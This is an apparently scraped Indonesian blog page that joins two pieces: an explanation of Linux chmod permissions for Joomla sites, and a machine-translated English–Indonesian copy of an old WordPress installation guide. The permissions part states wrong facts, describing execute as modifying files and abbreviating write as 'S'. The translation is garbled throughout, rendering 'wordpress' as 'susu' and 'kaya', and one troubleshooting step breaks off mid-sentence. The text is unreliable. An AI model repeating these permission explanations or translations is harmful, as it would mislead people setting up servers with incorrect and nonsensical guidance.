2. Group Permissions : Biasanya dalam system yang rumit dan banyak penggunanya diperlukan pengaturan pengelompokkan. Sengaja diciptakan pengelompokkan untuk memudahkan pengontrolan. Oleh karena itu system linux mengadopsi pola kepemilikan kelompok. Disebutnya group. Group-group ini memiliki hak izin akses terhadap folder dan file yang sudah ditentukan. Makanya disebut group permissions.

Kalau anda share hosting, maka pemissions group tidak terlalu dipentingkan. Biarkan saja f default alias tidak diotak-atik. Jangan dilupakan, dalam group itu anda juga bagian dalam kelompok (grup permissions) itu. Jadi berhati-hatilah dalam mengontrol hak akses itu.

3. Other Permissions : Ini merupakan hak izin akses yang diberikan pemilik web site ke user visitor. Jadi orang lain (others) diberikan hak untuk mengakses folder dan situs. Bagaimana caranya? Hal apa saja yang boleh dilakukan? Perlakuan apa aja? Dan apa batasannya


Photobucket


Pertanyaan diatas merupakan langkah selanjutnya untuk membicarakan tindakan, perlakuan, kegiatan, dan upaya apa yang boleh dilakukan oleh ketiga user (Owner,groups,other) tersebut.

Ketiga om-om senang itu yaitu Owner,groups,other mempunyai 3 hak untuk melakukan sesuatu. Mereka dibebaskan boleh melakukan 3 hal dalam mengakses folder dan file. Ketiga hal itu adalah yang pertama boleh melakukan pengubahan atas file dan folder. Disebutkan hak execute (X). Nilai angkanya adalah 1. Sementara bila ia melakukan proses edit,ubah, ganti,rename,copy dan lain-lain dalam urusan menulisi hardisk disebut hak write (tulis). Biasanya disingkat huruf S. Nilai hak ini adalah 2. Yang terakhir adalah hak read ajah. Hak ini hanya untuk melihat-lihat saja, tidak bisa melakukan proses tulis (write) dan execute. Nilainya lebih besar yaitu 4.

CHMOD file aman 666 : BerbahayaPembagian permissions ini dengan nilai angka berkaitan. Angkanya unik. Yuk kita bahas. Pikirkan bahwa folder dan file dikerubuti oleh 3 orang gila (tri mas gentir) yaitu owner, groups, dan others. Ketiga mas (teng) ini mendapat izin boleh execute, boleh write dan juga boleh read. Tergantung pemberiannya. Jadi ketiga om-om (senang) ini angka memiliki angka konfigurasi seperti ini yaitu 666, 644, 775 atau 777.

Silakan di lihat gambar-gambar yang memiliki tiga warna tersebut. Tabel berwarna merah yaitu CHMOD folder 777 dan CHMOD file 666.

Angka nol menunjukkan bahwa tidak ada hak akses terhadap file.


Photobucket


Untuk detailnya silakan lihat pembahasan lebih lanjut di artikel berikutnya yaitu tentang arti empat gambar tersebut di Joomla. Judul artikelnya “Konfigurasi Permissions di Joomla “.

CHMOD Folder 755 Aman tapi waspada

Misteri angka cemot ini menunjukkan tingkat keamanan dari jangkauan luas. Selama situs anda dipublish/share/ditontontkan ke orang luar maka yang mesti diingat adalah pertanyaan berikut ini?

1. Siapakah sajakah user yang boleh akses ke folder dan file? Apa nama kelompoknya? Usergoup mana?

2. Apa tingkat permissions yang boleh diberikan. Apakah seluruhnya? atau sebagian? Kapan CHMOD harus ditutup untuk publik? Kapan CHMOD harus dibuka publik?

3. Siapa saja (user) yang boleh mengakses folder/file secara menyeluruh

Di joomla user (visitor) permissions terbuka di registrasi dan forum di community builder. Dan beberapa komponen joomla yang membuka user pengunjung untuk terlibat dalam menulis (write) dan read (baca) file dan folder. Amankah? Semua tergantung anda. Tetap waspada.

Photobucket


Read More...

Instalasi Wordpress di LAMP pada Ubuntu

Hal-hal yang diperlukan untuk instalasi

You need access to your site and its directory and software to proceed with the installation. Anda memerlukan akses ke situs Anda dan direktori dan perangkat lunak untuk melanjutkan dengan instalasi, antara lain :

* An access to your web server (via shell or FTP ) Sebuah akses ke web server (melalui shell atau FTP)
* A text editor Sebuah editor teks
* An FTP Client (if you need to install WordPress on a remote server) Sebuah Klien FTP (jika anda perlu menginstal WordPress di server jauh)
* Your web browser of choice Browser web pilihan

Things You Need to Do For The Installation Hal-hal yang perlu anda lakukan untuk instalasi

Begin your installation by: Anda mulai dengan instalasi:

1. Checking to ensure that you and your web host have the minimum requirements to run WordPress . Memeriksa untuk memastikan bahwa Anda dan web host memiliki persyaratan minimum untuk menjalankan WordPress.
2. Download the latest release of WordPress. Download rilis terbaru dari WordPress.
3. Unzip the downloaded file to a folder on your hard drive. Unzip file yang didownload ke folder pada hard drive anda.
4. Print this page out so you have it handy during the installation. Cetak halaman ini keluar sehingga Anda memiliki itu berguna ketika melakukan instalasi.

Famous 5-Minute Install Terkenal 5 Menit Instalasi

Here's the quick version of the instructions, for those that are already comfortable with performing such installations. Berikut ini versi cepat petunjuk, bagi mereka yang sudah nyaman dengan melakukan instalasi tersebut. More detailed instructions follow. Lebih rinci petunjuk ikuti.

1. Download and unzip the WordPress package, if you haven't already. Download dan unzip dalam paket WordPress, jika Anda belum.
2. Create a database for WordPress on your web server, as well as a MySQL user who has all privileges for accessing and modifying it. Buat database untuk WordPress pada server Web Anda, juga sebagai user MySQL yang memiliki semua hak untuk mengakses dan memodifikasi itu.
3. Rename the wp-config-sample.php file to wp-config.php . Nama wp-config-sample.php file wp-config.php.
4. Open wp-config.php in your favorite text editor and fill in your database details . Buka wp-config.php favorit Anda dalam editor teks dan isi rincian database anda.
5. Place the WordPress files in the desired location on your web server: Letakkan file WordPress di lokasi yang dikehendaki pada server Web Anda:
* If you want to integrate WordPress into the root of your domain (eg http://example.com/ ), move or upload all contents of the unzipped WordPress directory (but excluding the directory itself) into the root directory of your web server. Jika Anda ingin mengintegrasikan WordPress ke dalam akar domain Anda (misalnya http://example.com/), memindahkan atau meng-upload semua isi dari direktori unzipped WordPress (tetapi tidak termasuk direktori itu sendiri) ke root direktori web server Anda.
* If you want to have your WordPress installation in its own subdirectory on your web site (eg http://example.com/blog/ ), rename the directory wordpress to the name you'd like the subdirectory to have and move or upload it to your web server. Jika Anda ingin memiliki instalasi WordPress Anda sendiri dalam subdirektori pada situs web Anda (misalnya http://example.com/blog/), nama direktori wordpress untuk nama yang Anda ingin untuk memiliki subdirektori dan memindahkan atau meng-upload Anda ke web server. For example if you want the WordPress installation in a subdirectory called "blog", you should rename the directory called "wordpress" to "blog" and upload it to the root directory of your web server. Misalnya jika Anda ingin instalasi WordPress di sebuah subdirektori yang bernama "blog", Anda harus mengubah nama direktori yang disebut "susu" untuk "blog" dan meng-upload ke root direktori web server Anda.

Hint : If your FTP transfer is too slow read how to avoid FTPing at : Step 1: Download and Extract . Petunjuk: Jika anda transfer FTP terlalu lambat membaca cara untuk menghindari FTPing di: Langkah 1: Download dan Extract.
6. Run the WordPress installation script by accessing wp-admin/install.php in your favorite web browser. Jalankan skrip instalasi WordPress dengan mengakses wp-admin/install.php favorit Anda di web browser.
* If you installed WordPress in the root directory, you should visit: http://example.com/wp-admin/install.php Jika anda menginstal WordPress di root direktori, Anda harus mengunjungi: http://example.com/wp-admin/install.php
* If you installed WordPress in its own subdirectory called blog , for example, you should visit: http://example.com/blog/wp-admin/install.php Jika anda menginstal WordPress dalam subdirektori bernama blog sendiri, misalnya, Anda harus mengunjungi: http://example.com/blog/wp-admin/install.php

That's it! Itu saja! WordPress should now be installed. WordPress sekarang harus dipasang.

See also: Lihat juga:

* Example WordPress installation Contoh instalasi WordPress
* A Beginner's Guide to Installing Wordpress on Your Own Domain A untuk Pemula Panduan Instalasi wordpress pada domain Anda sendiri
* Visual tutorial on how to install Wordpress Visual tutorial tentang cara menginstal Wordpress
* Screencast: How to Install WordPress on IIS7, Windows Server 2008 Screencast: Cara Install WordPress di IIS7, Windows Server 2008
* Installing WordPress-An Audio-Visual Presentation Instalasi-Wordpress audio-visual presentasi
* WordPress Installation Tutorial Tutorial Instalasi WordPress
* How to install the latest version of WordPress Cara menginstal versi terbaru dari WordPress

Detailed Instructions Petunjuk rinci
Step 1: Download and Extract Langkah 1: Download dan Extract

Download and unzip the WordPress package from http://wordpress.org/download/ . Download dan unzip paket dari WordPress yang http://wordpress.org/download/.

* If you will be uploading WordPress to a remote web server, download the WordPress package to your computer with your favorite web browser and unzip the package. Jika Anda akan meng-upload WordPress untuk remote server Web, men-download WordPress paket ke komputer dengan web browser favorit Anda dan unzip paket.
* If you have shell access to your web server, and are comfortable using console-based tools, you may wish to download WordPress directly to your web server using wget (or lynx or another console-based web browser) if you want to avoid FTPing : Jika Anda memiliki shell akses ke web server, dan nyaman menggunakan alat bantu berbasis konsol, Anda mungkin ingin men-download WordPress langsung ke web server menggunakan wget (atau lynx atau konsol lain berbasis web browser) jika Anda ingin menghindari FTPing:
o wget http://wordpress.org/latest.tar.gz wget http://wordpress.org/latest.tar.gz
o Then unzip the package using: Kemudian unzip paket menggunakan:
tar -xzvf latest.tar.gz tar-xzvf latest.tar.gz

The WordPress package will extract into a folder called wordpress in the same directory that you downloaded latest.tar.gz . WordPress paket yang akan Ekstrak ke dalam folder bernama susu yang sama di direktori yang akan di-download latest.tar.gz.

* If you do not have shell access to your web server, or you are not comfortable using console-based tools, you may wish to deploy WordPress directly to your web server using ZipDeploy . Jika Anda tidak memiliki shell akses ke web server Anda, atau Anda tidak nyaman menggunakan alat bantu berbasis konsol, Anda mungkin ingin menyebarkan WordPress langsung ke server Web Anda menggunakan ZipDeploy.

Step 2: Create the Database and a User Langkah 2: Buat Database dan Pengguna

If you are using a hosting provider , you may already have a WordPress database set up for you, or there may be an automated setup solution to do so. Jika Anda menggunakan hosting selular, Anda mungkin sudah memiliki WordPress database anda untuk anda, atau mungkin ada solusi setup otomatis untuk melakukannya. Check your hosting provider's support pages or your control panel for clues about whether or not you'll need to create one manually. Periksa penyedia hosting Anda mendukung halaman atau Anda kontrol panel untuk petunjuk tentang apakah Anda akan atau tidak perlu membuat satu secara manual.

If you determine that you'll need to create one manually, follow the instructions for accessing phpMyAdmin on various servers , or follow the instructions for Using cPanel or Using phpMyAdmin below. Jika Anda menentukan bahwa Anda perlu membuat satu secara manual, ikuti instruksi untuk mengakses phpMyAdmin pada berbagai server, atau ikuti petunjuk untuk Menggunakan cPanel atau Menggunakan phpMyAdmin di bawah ini.

If you are installing WordPress on your own web server, follow the Using phpMyAdmin or Using the MySQL Client instructions below to create your WordPress username and database. Jika Anda menginstal WordPress pada server Web Anda sendiri, ikuti Menggunakan phpMyAdmin atau Menggunakan MySQL Klien petunjuk di bawah ini untuk menciptakan WordPress username dan database.

If you have only one database and it is already in use, you can install WordPress in it - just make sure to have a distinctive prefix for your tables, to avoid over-writing any existing database table. Jika Anda hanya memiliki satu database dan sudah digunakan, Anda dapat memasang WordPress di dalamnya - hanya pastikan untuk memiliki awalan istimewa untuk Anda meja, untuk menghindari lebih dari apapun yang ada tulisan-tabel database.
Using cPanel Menggunakan cPanel

Main article: Using cPanel Artikel utama: Menggunakan cPanel

If your hosting provider uses cPanel , you may follow these instructions to create your WordPress username and database. Jika Anda menggunakan hosting selular cPanel, Anda dapat ikuti petunjuk untuk membuat Anda WordPress username dan database.

1. Log in to your cPanel . Log in ke account cPanel.
2. Click MySQL Databases . Klik database mysql.
3. If a user relating to WordPress does not already exist under the Users section, create one: Jika pengguna yang berkaitan dengan WordPress sudah tidak ada di bawah Pengguna seksi, membuat satu:
1. Chose a username for WordPress (' wordpress ' is good) and enter it in the UserName field. Memilih nama pengguna untuk WordPress ( 'kaya' yang baik) dan memasukkannya dalam UserName lapangan.
2. Choose a difficult-to-guess password (ideally containing a combination of upper- and lower-case letters, numbers, and symbols), and enter it in the Password field. Pilih-sulit untuk menebak-sandi (idealnya berisi kombinasi atas dan huruf kecil, nomor, dan simbol), dan memasukkannya dalam Password lapangan.
3. Write down the username and password you chose. Catat username dan password yang Anda pilih.
4. Click Add User . Klik menambahkan pengguna.
4. If a database relating to WordPress does not already exist under the Databases section, create one: Jika database yang berkaitan dengan WordPress sudah tidak ada di bawah bagian Database, membuat satu:
1. Choose a name for your WordPress database (' wordpress ' or ' blog ' are good), enter it in the Db field, and click Add Db . Pilih nama anda WordPress untuk database ( 'kaya' atau 'blog' yang baik), masukkan dalam bidang Db, dan klik Tambah dB.
5. Under Databases , select your WordPress username from the User dropdown, then select your WordPress database from the Db dropdown. Dalam Database, Wordpress username Anda pilih dari dropdown Pengguna, kemudian pilih Anda WordPress database dari dropdown Db. Make sure All is checked under Privileges , then click Add User to Db . Pastikan Semua diperiksa di bawah Privileges, kemudian klik Add User untuk dB.
6. When you return to the main MySQL Account Maintenance screen, cPanel will list information about the database you just created. Bila Anda kembali ke utama MySQL Account Pemeliharaan layar, cPanel akan daftar informasi tentang database yang baru Anda buat. You should see the username you just added to the database (with ALL PRIVILEGES ), as well as a few sample Connection Strings for you to use in Perl or PHP scripts to connect to the database. Anda harus melihat nama pengguna Anda hanya ditambahkan ke database (dengan SEMUA PRIVILEGES), serta beberapa sampel Koneksi Strings untuk Anda untuk digunakan di Perl atau PHP script untuk koneksi ke database. The PHP code will have the following format: Kode PHP yang akan memiliki format berikut:

$dbh = mysql_connect(" hostname ", " username ", "") or die (" message "); $ DBH = mysql_connect ( "hostname", "username", "") atau mati ( "pesan");
mysql_select_db(" databasename "); mysql_select_db ( "databasename");

Write down the values of hostname , username , databasename , and the password you chose. Catat nilai-nilai hostname, username, databasename, dan password yang Anda pilih. (Note that hostname will usually be localhost .) (Catatan nama host yang akan biasanya localhost.)

Using phpMyAdmin Menggunakan phpMyAdmin

If your web server has phpMyAdmin installed, you may follow these instructions to create your WordPress username and database. Jika Anda memiliki web server phpMyAdmin terinstal, Anda dapat ikuti petunjuk untuk membuat Anda WordPress username dan database.

Note: These instructions are written for phpMyAdmin 2.6.0; the phpMyAdmin user interface can vary slightly between versions. Catatan: petunjuk ini ditulis untuk phpMyAdmin 2.6.0; phpMyAdmin user interface yang dapat sedikit berbeda antara versi.

1. If a database relating to WordPress does not already exist in the Database dropdown on the left, create one: Jika database yang berkaitan dengan WordPress sudah tidak ada di Database dropdown di sebelah kiri, membuat satu:
1. Choose a name for your WordPress database (' wordpress ' or ' blog ' are good), enter it in the Create new database field, and click Create . Pilih nama anda WordPress untuk database ( 'kaya' atau 'blog' yang baik), masukkan dalam bidang Buat database baru, dan klik Buat.
2. Click the Home icon in the upper left to return to the main page, then click Privileges . Klik icon Home di sudut kiri untuk kembali ke halaman utama, kemudian klik Privileges. If a user relating to WordPress does not already exist in the list of users, create one: Jika pengguna yang berkaitan dengan WordPress sudah tidak ada dalam daftar pengguna, membuat satu:
1. Click Add a new User . Klik Tambahkan Pengguna baru.
2. Chose a username for WordPress (' wordpress ' is good) and enter it in the User name field. Memilih nama pengguna untuk WordPress ( 'kaya' yang baik) dan memasukkannya dalam Nama pengguna lapangan. (Be sure Use text field: is selected from the dropdown.) (Pastikan Gunakan text field: dipilih dari dropdown.)
3. Choose a difficult-to-guess password (ideally containing a combination of upper- and lower-case letters, numbers, and symbols), and enter it in the Password field. Pilih-sulit untuk menebak-sandi (idealnya berisi kombinasi atas dan huruf kecil, nomor, dan simbol), dan memasukkannya dalam Password lapangan. (Be sure Use text field: is selected from the dropdown.) Re-enter the password in the Re-type field. (Pastikan Gunakan text field: dipilih dari dropdown.) Re-memasukkan sandi dalam Re-jenis lapangan.
4. Write down the username and password you chose. Catat username dan password yang Anda pilih.
5. Leave all options under Global privileges at their defaults. Meninggalkan semua pilihan di bawah Global hak mereka di default.
6. Click Go . Klik Go.
3. Return to the Privileges screen and click the Check privileges icon on the user you've just created for WordPress. Kembali ke Privileges layar dan klik pada ikon Periksa hak pengguna yang baru saja dibuat untuk Wordpress. In the Database-specific privileges section, select the database you've just created for WordPress under the Add privileges to the following database dropdown. Pada Database-hak khusus seksi, pilih database anda baru saja dibuat untuk WordPress di bawah hak Tambahkan ke database dropdown berikut. The page will refresh with privileges for that database. Halaman akan refresh dengan hak untuk database. Click Check All to select all privileges, and click Go . Klik Periksa Semua untuk memilih semua hak, dan klik Buka.
4. On the resulting page, make note of the host name listed after Server: at the top of the page. Pada halaman hasil, membuat catatan yang terdaftar setelah nama host server: di bagian atas halaman. (This will usually be localhost .) (Ini biasanya localhost.)

Using the MySQL Client Menggunakan mysql Klien

If you have shell access to your web server, are comfortable with using the command line, and your MySQL user has the permissions to create MySQL users and databases, you may follow the example session below to create your WordPress username and database. Jika Anda memiliki shell akses ke web server, yang nyaman dengan menggunakan baris perintah, dan Anda pengguna MySQL memiliki izin untuk membuat pengguna dan database MySQL, Anda dapat mengikuti sesi contoh di bawah ini untuk menciptakan WordPress username dan database.

$ mysql -u adminusername -p $ Mysql-u adminusername-p
Enter password: Masukkan sandi:
Welcome to the MySQL monitor. Selamat datang ke MySQL monitor. Commands end with ; or \g. Perintah diakhiri dengan; atau \ g.
Your MySQL connection id is 5340 to server version: 3.23.54 Anda koneksi MySQL id 5340 adalah untuk versi server: 3.23.54

Type 'help;' or '\h' for help. Jenis' membantu; 'atau' \ h 'untuk membantu. Type '\c' to clear the buffer. Type '\ c' untuk menghapus penyangga.

mysql> CREATE DATABASE databasename; mysql> CREATE DATABASE databasename;
Query OK, 1 row affected (0.00 sec) Query OK, 1 row affected (0.00 sec)

mysql> GRANT ALL PRIVILEGES ON databasename.* TO "wordpressusername"@"hostname" mysql> GRANT PADA SEMUA PRIVILEGES .* KE databasename "wordpressusername" @ "hostname"
-> IDENTIFIED BY "password"; -> IDENTIFIED BY "password";
Query OK, 0 rows affected (0.00 sec) Query OK, 0 rows affected (0.00 sec)

mysql> FLUSH PRIVILEGES; mysql> Alirkan PRIVILEGES;
Query OK, 0 rows affected (0.01 sec) Query OK, 0 rows affected (0,01 detik)

mysql> EXIT mysql> keluar
Bye Sampai jumpa
$

In the above: Di atas:

* adminusername will typically be root , unless you have another high-privileged account set up. adminusername biasanya akan menjadi root, kecuali Anda memiliki hak istimewa lain tinggi-setup account.
* wordpress or blog are good values for databasename . wordpress blog atau nilai-nilai yang baik untuk databasename.
* wordpress is a good value for wordpressusername . susu adalah nilai yang baik untuk wordpressusername.
* hostname will usually be localhost . hostname biasanya akan localhost. If you don't know what this value should be, check with your system administrator. Jika Anda tidak tahu apa yang harus nilai ini, periksa dengan administrator sistem Anda. If you are the system administrator, figure out what this value should be. Jika Anda adalah sistem administrator, memahami apa yang harus nilai ini.
* password should be a difficult-to-guess password, ideally containing a combination of upper- and lower-case letters, numbers, and symbols. sandi seharusnya menjadi sulit untuk menebak password, idealnya berisi kombinasi atas dan huruf kecil, nomor, dan simbol.

Write down the values you used for databasename , wordpressusername , hostname , and password . Menuliskan nilai yang digunakan untuk databasename, wordpressusername, nama host, dan password.
Using Plesk Menggunakan Plesk

See: Plesk 7 at tamba2.org Lihat: Plesk 7 di tamba2.org
Step 3: Set up wp-config.php Langkah 3: Mengatur wp-config.php

For the next part, the code you will be looking to change is as follows: Untuk bagian selanjutnya, kode anda akan melihat untuk mengubah adalah sebagai berikut:

// ** MySQL settings ** // / / ** MySQL pengaturan ** / /
define('DB_NAME', 'putyourdbnamehere'); // The name of the database define ( 'DB_NAME', 'putyourdbnamehere'); / / Nama database
define('DB_USER', 'usernamehere'); // Your MySQL username define ( 'DB_USER', 'usernamehere'); / / MySQL username Anda
define('DB_PASSWORD', 'yourpasswordhere'); // ...and password define ( 'DB_PASSWORD', 'yourpasswordhere'); / / ... dan sandi
define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value define ( 'DB_HOST', 'localhost'); / / 99% kesempatan Anda tidak perlu mengubah nilai ini
define('DB_CHARSET', 'utf8'); define ( 'DB_CHARSET', 'utf8');
define('DB_COLLATE', ''); define ( 'DB_COLLATE','');
// Change SECRET_KEY to a unique phrase. / / Ubah SECRET_KEY untuk frase yang unik. You won't have to remember it later, Anda tidak perlu ingat nanti,
// so make it long and complicated. / / Sehingga membuatnya panjang dan rumit. You can visit https://www.grc.com/passwords.htm Anda dapat mengunjungi https: / / www.grc.com / passwords.htm
// to get a phrase generated for you, or just make something up. / / Untuk mendapatkan frase dihasilkan untuk Anda, atau hanya membuat sesuatu atas.
define('SECRET_KEY', 'put your unique phrase here'); // Change this to a unique phrase. define ( 'SECRET_KEY', 'Laksanakan unik frase di sini'); / / Ubah ini untuk frase yang unik.

1. Returning to where you extracted the WordPress package in Step 1 , rename the file wp-config-sample.php to wp-config.php . Kembali ke tempat yang anda Wordpress paket yang diambil dalam Langkah 1, mengubah nama file wp-config-sample.php ke wp-config.php.
2. Open the renamed wp-config.php file in your favorite text editor and fill in the following information, per the example above: Buka diganti wp-config.php file favorit Anda dalam editor teks dan mengisi informasi berikut, per contoh di atas:

DB_NAME DB_NAME
The name of the database you created for WordPress in Step 2 . Nama database yang dibuat untuk WordPress di Langkah 2.
DB_USER DB_USER
The username you created for WordPress in Step 2 . Nama pengguna yang Anda buat untuk WordPress di Langkah 2.
DB_PASSWORD DB_PASSWORD
The password you chose for the WordPress username in Step 2 . Sandi Anda untuk memilih nama pengguna WordPress di Langkah 2.
DB_HOST DB_HOST
The hostname you determined in Step 2 (usually localhost , but not always. See some possible DB_HOST values ). Nama host Anda ditentukan pada Langkah 2 (biasanya localhost, tetapi tidak selalu. Lihat beberapa kemungkinan DB_HOST nilai).
DB_CHARSET DB_CHARSET
The database character set, normally should not be changed. Database set karakter, biasanya tidak boleh diubah. See Editing wp-config.php for details. Lihat Edit wp-config.php untuk rincian.
DB_COLLATE DB_COLLATE
The database collation should normally be left blank. Database pemeriksaan harus biasanya akan dibiarkan kosong. See Editing wp-config.php for details. Lihat Edit wp-config.php untuk rincian.

3. Save the file. Menyimpan file.

* For more extensive details, and step by step instructions for creating the configuration file, refer to Editing wp-config.php . Untuk rincian lebih luas, dan petunjuk langkah demi langkah untuk menciptakan file konfigurasi, lihat Edit wp-config.php.

For information on enabling SSL in WordPress 2.6, see SSL and Cookies in WordPress 2.6 . Untuk informasi mengenai cara mengaktifkan SSL di WordPress 2.6, lihat SSL dan Cookie di WordPress 2.6.
Step 4: Upload the files Langkah 4: Upload file

Now you will need to decide where on your web site you'd like your blog to appear: Sekarang anda perlu memutuskan di mana pada situs web Anda Anda ingin blog Anda untuk muncul:

* In the root directory of your web site. Dalam root direktori situs web Anda. (For example, http://example.com/ ) (Misalnya, http://example.com/)
* In a subdirectory of your web site. Dalam sebuah subdirektori dari situs web Anda. (For example, http://example.com/blog/ ) (Misalnya, http://example.com/blog/)

Note: The location of your root web directory in the filesystem on your web server will vary across hosting providers and operating systems. Catatan: Lokasi Anda di direktori web root filesystem pada server Web Anda akan berbeda-beda di seluruh penyedia layanan hosting dan sistem operasi. Check with your hosting provider or system administrator if you do not know where this is. Periksa dengan hosting selular atau administrator sistem jika anda tidak tahu di mana ini.
In the Root Directory Dalam root direktori

* If you need to upload your files to your web server, use your favorite FTP client to upload all the contents of the wordpress directory (but not the directory itself) into the root directory of your web site. Jika Anda perlu meng-upload file ke web server, favorit Anda menggunakan FTP klien untuk meng-upload semua isi dari direktori wordpress (tetapi tidak direktori itu sendiri) ke dalam direktori root dari situs web Anda.
* If your files are already on your web server, and you are using shell access to install WordPress, move all of the contents of the wordpress directory (but not the directory itself) into the root directory of your web site. Jika file Anda sudah berada pada server Web Anda, dan Anda menggunakan shell akses untuk memasang WordPress, memindahkan seluruh isi dari direktori wordpress (tetapi tidak direktori itu sendiri) ke dalam direktori root dari situs web Anda.

In a Subdirectory Dalam sebuah subdirektori

* If you need to upload your files to your web server, rename the wordpress directory to your desired name, then use your favorite FTP client to upload the directory to your desired location within the root directory of your web site. Jika Anda perlu meng-upload file ke web server Anda, mengubah nama susu dan direktori dengan nama yang anda inginkan, kemudian favorit Anda menggunakan FTP klien untuk meng-upload direktori ke lokasi yang Anda inginkan dalam root direktori situs web Anda.
* If your files are already on your web server, and you are using shell access to install WordPress, move the wordpress directory to your desired location within the root directory of your web site, and rename the directory to your desired name. Jika file Anda sudah berada pada server Web Anda, dan Anda menggunakan shell akses untuk memasang WordPress, susu dan memindahkan direktori ke lokasi yang Anda inginkan dalam root direktori situs web Anda, dan mengubah nama direktori dengan nama yang anda inginkan.

Step 5: Run the Install Script Langkah 5: Jalankan Install Naskah

Point your favorite web browser to start the installation script. Point web browser favorit Anda untuk memulai instalasi script.

* If you placed the WordPress files in the root directory, you should visit: http://example.com/wp-admin/install.php Jika Anda menempatkan file WordPress di root direktori, Anda harus mengunjungi: http://example.com/wp-admin/install.php
* If you placed the WordPress files in a subdirectory called blog , for example, you should visit: http://example.com/blog/wp-admin/install.php Jika Anda menempatkan file WordPress di sebuah subdirektori yang bernama blog, misalnya, Anda harus mengunjungi: http://example.com/blog/wp-admin/install.php

The following screenshots show how the installation progresses. Berikut screenshot menunjukkan bagaimana instalasi berlangsung. Notice in the screen, Entering the details, you enter your Weblog title and your e-mail address. Pemberitahuan di layar, Memasuki rincian, Anda memasukkan Weblog judul dan alamat e-mail Anda. Also displayed is a check-box asking if you would like your blog to appear in search engines like Google and Technorati. Juga ditampilkan adalah kotak menanyakan apakah Anda ingin blog Anda untuk muncul di mesin pencari seperti Google dan Technorati. Leave the box checked if you would like your blog to be visible to everyone, including search engines, and uncheck the box if you want to block search engines, but allow normal visitors. Biarkan kotak dicentang jika Anda ingin blog Anda akan terlihat untuk semua orang, termasuk mesin pencari, dan matikan kotak jika Anda ingin blok mesin pencari, tetapi membolehkan pengunjung biasa. Note all this information can be changed later in your Administration Panels . Catatan semua informasi ini dapat berubah nanti di Administrasi Panel.

Version 2.3 Versi 2,3
WordPress Versi 2,3, Memasuki rincian
WordPress Version 2.3, Entering details WordPress Versi 2,3, Memasuki rincian
WordPress Versi 2,3, Semua dilakukan!
WordPress Version 2.3, All done! WordPress Versi 2,3, Semua dilakukan!
Install Script Troubleshooting Instal script mengatasi masalah

* If you get an error about the database when you run the install script: Jika Anda mendapatkan error tentang database ketika anda menjalankan instalasi script:
o Go back to Step 2 and Step 3 , and be sure you got all the correct database information and that it was entered correctly into wp-config.php . Kembali ke Langkah 2 dan Langkah 3, dan pastikan Anda mendapatkan semua informasi yang benar dan database yang telah dimasukkan dengan benar ke dalam wp-config.php.
o Be sure you granted your WordPress user permission to access your WordPress database in Step 3 . Pastikan Anda memberikan Anda Wordpress izin pengguna untuk mengakses database di WordPress Langkah 3.
o Be sure the database server is running. Pastikan database server berjalan.

Common Installation Problems Masalah umum instalasi

The following are some of the most common installation problems. Berikut ini adalah beberapa yang paling umum masalah instalasi. For more information and troubleshooting for problems with your WordPress installation, check out FAQ Installation and FAQ Troubleshooting . Untuk informasi lebih lanjut dan untuk mengatasi masalah dengan masalah instalasi WordPress Anda, periksa FAQ Instalasi dan FAQ masalah.

I see lots of Headers already sent errors. Saya melihat banyak sekali judul sudah dikirim kesalahan. How do I fix this? Bagaimana cara memperbaikinya?
You probably introduced a syntax error in editing wp-config.php . Anda mungkin memperkenalkan sintaks kesalahan dalam mengedit wp-config.php.

1. Download wp-config.php (if you don't have shell access). Download wp-config.php (jika Anda tidak memiliki shell akses).
2. Open it in your favorite text editor . Buka favorit Anda dalam editor teks.
3. Check that the first line contains nothing but 4. Check that the last line contains nothing but ?> , and that there is no text after it (not even whitespace). Pastikan baris terakhir berisi hanya?>, Dan bahwa tidak ada teks setelah itu (bahkan tidak spasi).
5. If your text editor saves as Unicode, make sure it adds no byte order mark (BOM) . Jika Anda menyimpan sebagai editor teks Unicode, memastikan agar tidak menambah urutan byte tandai (BOM). Most Unicode-enabled text editors do not inform the user whether it adds a BOM to files; if so, try using a different text editor. Kebanyakan Unicode-enabled teks editor tidak menginformasikan pengguna apakah BOM untuk menambahkan sebuah file, jika demikian, coba gunakan editor teks yang berbeda.
6. Save the file, upload it again if necessary, and reload the page in your browser. Simpan file, meng-upload lagi jika diperlukan, dan mengambil kembali halaman dalam browser Anda.

My page comes out gibberish. Saya keluar halaman cara bicara. When I look at the source I see a lot of " " tags. Ketika saya melihat sumber saya lihat banyak "" Tag.
If the tags are being sent to the browser, it means your PHP is not working properly. Jika Tag sedang dikirim ke browser, berarti Anda PHP tidak berfungsi sebagaimana mestinya. All PHP code is supposed to be executed before the server sends the resulting HTML to your web browser. Semua adalah kode PHP yang harus dijalankan sebelum server akan mengirimkan hasil HTML ke web browser Anda. (That's why it's called a pre processor.) Make sure your web server meets the requirements to run WordPress, that PHP is installed and configured properly, or contact your hosting provider or system administrator for assistance. (Oleh sebab itulah disebut pra prosesor.) Pastikan Anda web server memenuhi persyaratan untuk menjalankan WordPress, PHP yang terinstal dan dikonfigurasi dengan benar, atau hubungi hosting selular atau sistem administrator Anda untuk bantuan.

I keep getting an Error connecting to database message but I'm sure my configuration is correct. Saya tetap memperoleh Kesalahan koneksi ke database pesan tetapi saya yakin saya konfigurasi sudah benar.
Try resetting your MySQL password manually. Coba ulang MySQL sandi Anda secara manual. If you have access to MySQL via shell, try issuing: Jika Anda memiliki akses ke MySQL melalui shell, coba penerbitan:

SET PASSWORD FOR ' wordpressusername '@' hostname ' = OLD_PASSWORD(' password '); SET SANDI UNTUK 'wordpressusername' @ 'hostname' = OLD_PASSWORD ( 'password');

If you are using a version of MySQL prior to 4.1, use PASSWORD instead of OLD_PASSWORD . Jika Anda menggunakan versi MySQL sebelum ke 4.1, menggunakan SANDI bukan OLD_PASSWORD. If you do not have shell access, you should be able to simply enter the above into an SQL query in phpMyAdmin. Jika Anda tidak memiliki akses shell, Anda harus dapat cukup masukkan ke dalam SQL di atas permintaan pada phpMyAdmin. Failing that, you may need to use your host's control panel to reset the password for your database user. Kegagalan itu, Anda mungkin harus menggunakan host panel kontrol untuk me-reset password untuk pengguna database anda.

My image/MP3 uploads aren't working. Upload image/MP3 saya tidak bekerja.
